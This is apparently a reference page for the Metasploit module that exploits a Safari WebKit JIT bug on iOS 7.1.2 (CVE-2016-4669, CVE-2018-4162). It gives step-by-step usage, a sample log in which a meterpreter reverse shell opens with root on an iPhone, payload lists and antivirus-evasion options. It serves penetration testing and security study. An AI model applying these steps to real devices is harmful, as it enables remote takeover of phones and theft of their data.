Safari Webkit JIT Exploit for iOS 7.1.2 - Metasploit
This page contains detailed information about how to use the exploit/apple_ios/browser/safari_jit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Safari Webkit JIT Exploit for iOS 7.1.2
Module: exploit/apple_ios/browser/safari_jit
Source code: modules/exploits/apple_ios/browser/safari_jit.rb
Disclosure date: 2016-08-25
Last modification time: 2021-02-16 13:56:50 +0000
Supported architecture(s): armle
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4669, CVE-2018-4162
This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
msf > use exploit/apple_ios/browser/safari_jit
msf exploit(safari_jit) > exploit
Knowledge Base
Vulnerable Application
This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload.
This module has been tested against iOS 7.1.2 on an iPhone 4.
Verification Steps
- Start msfconsole
- Do:
use exploit/apple_ios/browser/safari_jit
- Do:
set lhost [ip]
- Do:
set srvhost [ip]
- Do:
run
- Browse to the website with a vulnerable device
- You should get a root shell.
Options
DEBUG_EXPLOIT
Show debug information during exploitation. This will add entries to the iPhone syslog related to exploitation and
loading of the payload. Defaults to false
Scenarios
iPhone 4 with iOS 7.1.2
msf5 > use exploit/apple_ios/browser/safari_jit
[*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp
msf5 exploit(apple_ios/browser/safari_jit) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf5 exploit(apple_ios/browser/safari_jit) > set verbose true
verbose => true
msf5 exploit(apple_ios/browser/safari_jit) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(apple_ios/browser/safari_jit) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8080/
[*] Server started.
[*] 2.2.2.2 safari_jit - Request / from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /loader.b64?cache=1596557302841 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /macho.b64?cache=1596557303179 from Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
[*] 2.2.2.2 safari_jit - Request /payload from MobileSafari/9537.53 CFNetwork/672.1.15 Darwin/14.0.0
[+] 2.2.2.2 safari_jit - Target is vulnerable, sending payload!
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:49299) at 2020-08-04 12:08:27 -0400
sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root @ iPhone (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 2.2.2.2
OS : iPhone3,3 (iOS 11D257)
Architecture : armv7
BuildTuple : arm-iphone-darwin
Meterpreter : armle/apple_ios
Go back to menu.
Msfconsole Usage
Here is how the apple_ios/browser/safari_jit exploit module looks in the msfconsole:
msf6 > use exploit/apple_ios/browser/safari_jit
[*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp
msf6 exploit(apple_ios/browser/safari_jit) > show info
Name: Safari Webkit JIT Exploit for iOS 7.1.2
Module: exploit/apple_ios/browser/safari_jit
Platform: Apple_iOS
Arch: armle
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2016-08-25
Provided by:
kudima
Ian Beer
WanderingGlitch
timwr
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH / yes The URI to use for this exploit.
Payload information:
Description:
This module exploits a JIT optimization bug in Safari Webkit. This
allows us to write shellcode to an RWX memory section in
JavaScriptCore and execute it. The shellcode contains a kernel
exploit (CVE-2016-4669) that obtains kernel rw, obtains root and
disables code signing. Finally we download and execute the
meterpreter payload. This module has been tested against iOS 7.1.2
on an iPhone 4.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-4669
https://nvd.nist.gov/vuln/detail/CVE-2018-4162
https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell
https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons
https://bugs.chromium.org/p/project-zero/issues/detail?id=882
Module Options
This is a complete list of options available in the apple_ios/browser/safari_jit exploit:
msf6 exploit(apple_ios/browser/safari_jit) > show options
Module options (exploit/apple_ios/browser/safari_jit):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH / yes The URI to use for this exploit.
Payload options (apple_ios/armle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the apple_ios/browser/safari_jit exploit:
msf6 exploit(apple_ios/browser/safari_jit) > show advanced
Module advanced options (exploit/apple_ios/browser/safari_jit):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DEBUG_EXPLOIT false no Show debug information during exploitation
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (apple_ios/armle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the apple_ios/browser/safari_jit module can exploit:
msf6 exploit(apple_ios/browser/safari_jit) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the apple_ios/browser/safari_jit exploit:
msf6 exploit(apple_ios/browser/safari_jit) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/apple_ios/armle/meterpreter_reverse_http normal No Apple_iOS Meterpreter, Reverse HTTP Inline
1 payload/apple_ios/armle/meterpreter_reverse_https normal No Apple_iOS Meterpreter, Reverse HTTPS Inline
2 payload/apple_ios/armle/meterpreter_reverse_tcp normal No Apple_iOS Meterpreter, Reverse TCP Inline
3 payload/generic/custom normal No Custom Payload
4 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
5 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the apple_ios/browser/safari_jit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(apple_ios/browser/safari_jit) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13911 Merged Pull Request: Add module for an iPhone 4 iOS 7.1.2
References
- CVE-2016-4669
- CVE-2018-4162
- https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell
- https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons
- https://bugs.chromium.org/p/project-zero/issues/detail?id=882
See Also
Check also the following modules related to this module:
- auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
- exploit/apple_ios/browser/safari_libtiff
- exploit/apple_ios/browser/webkit_createthis
- exploit/apple_ios/browser/webkit_trident
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/apple_ios/ssh/cydia_default_ssh
- payload/apple_ios/aarch64/meterpreter_reverse_http
- payload/apple_ios/aarch64/meterpreter_reverse_https
- payload/apple_ios/aarch64/meterpreter_reverse_tcp
- payload/apple_ios/aarch64/shell_reverse_tcp
- payload/apple_ios/armle/meterpreter_reverse_http
- payload/apple_ios/armle/meterpreter_reverse_https
- payload/apple_ios/armle/meterpreter_reverse_tcp
- post/apple_ios/gather/ios_image_gather
- post/apple_ios/gather/ios_text_gather
- post/multi/gather/apple_ios_backup
- auxiliary/gather/safari_file_url_navigation
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- exploit/multi/browser/firefox_jit_use_after_free
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
Related Nessus plugins:
- Ubuntu 16.04 LTS / 17.10 : WebKitGTK+ vulnerabilities (USN-3635-1)
- GLSA-201808-04 : WebkitGTK+: Multiple vulnerabilities
- SUSE SLED12 / SLES12 Security Update : webkit2gtk3 (SUSE-SU-2018:3387-1)
- openSUSE Security Update : webkit2gtk3 (openSUSE-2018-1288)
- SUSE SLED15 / SLES15 Security Update : webkit2gtk3 (SUSE-SU-2019:0092-1)
- openSUSE Security Update : webkit2gtk3 (openSUSE-2019-81)
Authors
- kudima
- Ian Beer
- WanderingGlitch
- timwr
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.